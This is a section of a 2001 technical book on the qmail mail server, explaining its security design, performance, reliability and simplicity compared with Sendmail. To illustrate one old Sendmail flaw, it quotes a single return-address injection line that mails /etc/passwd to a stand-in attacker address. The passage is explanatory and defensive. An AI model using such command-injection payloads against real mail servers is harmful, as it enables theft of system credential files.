Why Use qmail?

 < Free Open Study > 



Your operating system included an MTA, probably Sendmail, so if you're reading this book you're probably looking for something better. Some of the advantages of qmail over bundled MTAs include security, performance, reliability, and simplicity.

Security

qmail was designed with high security as a goal. Sendmail has a long history of serious security problems. When Sendmail was written, the Internet was a much friendlier place. Everyone knew everyone else, and there was little need to design and code for high security. Today's Internet is a much more hostile environment for network servers.

qmail creator Bernstein is so confident that qmail is secure that he guarantees it. In his guarantee (http://cr.yp.to/qmail/guarantee.html/), he even offers $500 to the first person who can find a security bug in qmail. He first made this offer in March of 1997, and the money remains unclaimed.

qmail's secure design stems from seven rules, discussed in the following sections.

Programs and Files Are Not Addresses, So Don't Treat Them as Addresses

Sendmail blurred the distinction between addresses (users or aliases) and the disposition of messages sent to those addresses—usually mailbox files or mail-processing programs. Of course, Sendmail tries to limit which files and programs can be written to, but several serious security vulnerabilities have resulted from failures in this mechanism. One simple exploit consisted of sending a message to a nonexistent user on a Sendmail system with a return address of:

 "|/bin/mail attacker@badguys.example.com < /etc/passwd" 

This would cause Sendmail to generate a bounce message and attempt to send it to the return address. In this case, the return address was a command that mailed a copy of the victim's password file to the attacker.

In qmail, addresses are clearly distinguished from programs and files. It's not possible to specify a command or filename where qmail expects an address and have qmail deliver to it.

Do as Little as Possible in setuid Programs

The Unix setuid() mechanism is clever and useful. It allows a program run by one user to temporarily assume the identity of another user. It's usually used to allow regular users to gain higher privileges to execute specific tasks.

Tip 

Check out the man pages for more information about setuid(). The command man setuid should display the setuid() documentation.

That's the good news about setuid(). The bad news is that it's hard to write secure and portable setuid() programs. What makes it hard to secure setuid() programs is that they run an environment specified by the user. The user controls the settings of environment variables, resource limits, command-line arguments, signals, file descriptors, and more. In fact, the list is open-ended because new operating system releases can add controls that didn't exist before. And it's difficult for programmers to defend against features that don't yet exist.

In qmail, there's only one module that uses setuid(): qmail-queue. Its function is to accept a new mail message and place it into the queue of unsent messages. To do this, it assumes the identity of the special user ID (UID) that owns the queue.

Do as Little as Possible as Root

The superuser, any user account with the UID 0 (zero), has essentially unlimited access to the system on most Unix operating systems. By limiting the usage of the root UID to the small set of tasks that can only be done as root, qmail minimizes the potential for abuse.

Two qmail modules run as root: qmail-start and qmail-lspawn. qmail-start needs root access to start qmail-lspawn as root, and qmail-lspawn needs to run as root so it can start qmail-local processes under the UID of local users accepting delivery of messages. (The "Architecture" section of this chapter covers these in more detail.)

Move Separate Functions into Mutually Untrusting Programs

MTAs perform a range of relatively independent tasks. Some MTAs such as Sendmail are monolithic, meaning they consist of a single program that contains all the code to implement all of these tasks. A security problem such as a buffer overflow in one of these functions can allow an attacker to take control of the entire program.

qmail uses separate programs that run under a set of qmail-specific UIDs, compartmentalizing their access. These programs are designed to mistrust input from each other. In other words, they don't blindly do what they're told: They validate their inputs before operating on them.

Compromising a single component of qmail doesn't grant the intruder control over the entire system.

Don't Parse

Parsing is the conversion of human-readable specifications into machine-readable form. It's a complex, error-prone process, and attackers can sometimes exploit bugs in parsing code to gain unauthorized access or control.

qmail's modules communicate with each other using simple data structures that don't require parsing. Modules that do parse are isolated and run with user-level privileges.

Keep It Simple, Stupid

As a general rule, smaller code is more secure. All other things being equal, there will be more bugs in 100,000 lines of code than in 10,000 lines of code. Likewise, code loaded with lots of built-in features will have more bugs than clean, simple, modular code.

qmail's modular architecture—in addition to compartmentalizing access—facilitates the addition of features by plugging in interposing modules rather than by complicating the core code.

Write Bug-Free Code

Who would intentionally write buggy code? Nobody would, of course. But programmers are human and naturally lazy. If there's a library function available to perform a particular task, they usually won't write their own code to do the same thing.

Available to C programmers is a large set of library functions called the standard C library or the C runtime library. This library contains lots of useful functions for manipulating character strings, performing input and output, and manipulating dates and times. Unfortunately, many implementations of this library are insecure. They were not designed with security in mind, and they have not been audited to identify and correct problems.

To work around the variable quality of C library implementations and ensure safe and consistent behavior on all platforms, qmail includes its own I/O and string libraries.

Performance

If Sendmail is asked to deliver a message to 2,000 recipients, the first thing it will do is look up the mail exchanger (MX) for each recipient in the Domain Name System (DNS), the distributed database of Internet host names. Next it will sort the list of recipients by their MX. Finally, it will sequentially connect to each MX on the list and deliver a copy of the message addressed to recipients at that MX. Because the DNS is distributed, lookups can take anywhere from less than a second up to the system's timeout—usually at least five seconds. It's not unusual for this stage of the delivery to take 15 minutes or more.

If qmail is asked to deliver the same message to the same 2,000 recipients, it will immediately spawn multiple copies of the qmail-remote and qmail-local programs—up to 20 of each by default—which will start delivering the messages right away. Of course, each of these processes has to do the same MX lookups that Sendmail does, but because qmail does it with multiple processes, it wastes much less time. Also, because qmail doesn't have to wait for all of the lookups to complete, it can start delivering much sooner. The result is that qmail is often done before Sendmail sends the first message.

You can get Sendmail to use multiple processes to send messages, such as by splitting the delivery into smaller pieces and handing each off to a different Sendmail process. Future versions of Sendmail may even include such a feature. However, because of qmail's modular design, it's able to parallelize delivery much more efficiently: Each qmail-remote or qmail-local process is a fraction of the size of a Sendmail process.

Reliability

Once qmail accepts a message, it guarantees that it won't be lost. Bernstein calls this a "straight-paper-path philosophy," referring to printer designs that avoid bending pages as they pass through the printer to minimize jamming. In qmail it refers to the simple, well-defined, carefully designed route that messages take through the system. Even if the system loses power with undelivered messages in the queue, once power is restored and the system is restarted, qmail will pick up where it left off without losing a single message. qmail guarantees that once it accepts a message, it won't be lost, barring catastrophic hardware failure.

qmail also supports a new mailbox format called maildir that works reliably without locking—even over Network File System (NFS)—and even with multiple NFS clients delivering to the same mailbox. And, like the queue, maildirs are "crash proof."

All of this is well and good, you might say, but how reliable is qmail in practice? In the five years since its release, there have been no confirmed reports on the qmail mailing list of messages lost by qmail. There have also been no bugs discovered that cause any of the qmail daemons to die prematurely. That says a great deal about the reliability designed into the program and the quality of the code that implements that design.

Simplicity

qmail is much smaller than any other full-featured MTA. This is because of three characteristics: its clever design, its carefully selected set of features, and its efficient implementation in code. Table 1-1 compares qmail's size to other MTAs.

Table 1-1: Size Comparison of Unix MTAs

MTA

VERSION

SIZE (IN BYTES)

Sendmail

8.11.3

303212

Postfix

20010228-pl02

240370

Exim

3.22

302236

Courier

0.33.0

668945

qmail

1.03

80025

The size of each MTA was calculated by extracting only the code files (files ending in .c, .C, or .h), stripping all comments and unnecessary white space (spaces, tabs, and blank lines), bundling them into a single tar file, and compressing the resultant tar file with gzip to compensate for variations in the lengths of variable, function, and filenames.

This is not a completely fair comparison because these systems don't implement identical sets of features. Courier, for example, includes an IMAP server, a POP3 server, a Web mail interface, a filtering Message Delivery Agent (MDA), a mailing-list manager, and more. qmail, although it's the smallest, includes a POP3 server.

Clean Design

Most MTAs have separate forwarding, aliasing, and mailing-list mechanisms. qmail does all three with one simple mechanism that also allows for user-defined aliases, user-managed mailing lists, and user-managed virtual domains.

Sendmail has a range of delivery modes: interactive, background, queue, and defer, some of which trade reliability for performance. qmail only has one delivery mode: queued, which is optimized for reliability and performance.

Sendmail has complex logic built-in to implement system load limits. qmail limits the system load by limiting the number of modules it allows to run, which is much simpler and more reliable.

Frugal Feature Set

The modular architecture of qmail makes it possible to add features to the core functionality by re-implementing modules or adding new interposing modules between existing modules. This allows qmail to remain lean and simple while still providing a mechanism for the addition of new features by programmers and system administrators.

Efficient Coding

Not all programmers are equally capable of writing secure, reliable, and efficient code. Bernstein's track record with qmail and other products such as djbdns (a DNS server), demonstrates his unusual ability to achieve all three simultaneously and consistently.



 < Free Open Study > 



The Qmail Handbook
The qmail Handbook
ISBN: 1893115402
EAN: 2147483647
Year: 2001
Pages: 186
Authors: Dave Sill

flylib.com © 2008-2017.
If you may any questions please contact us: flylib@qtcs.net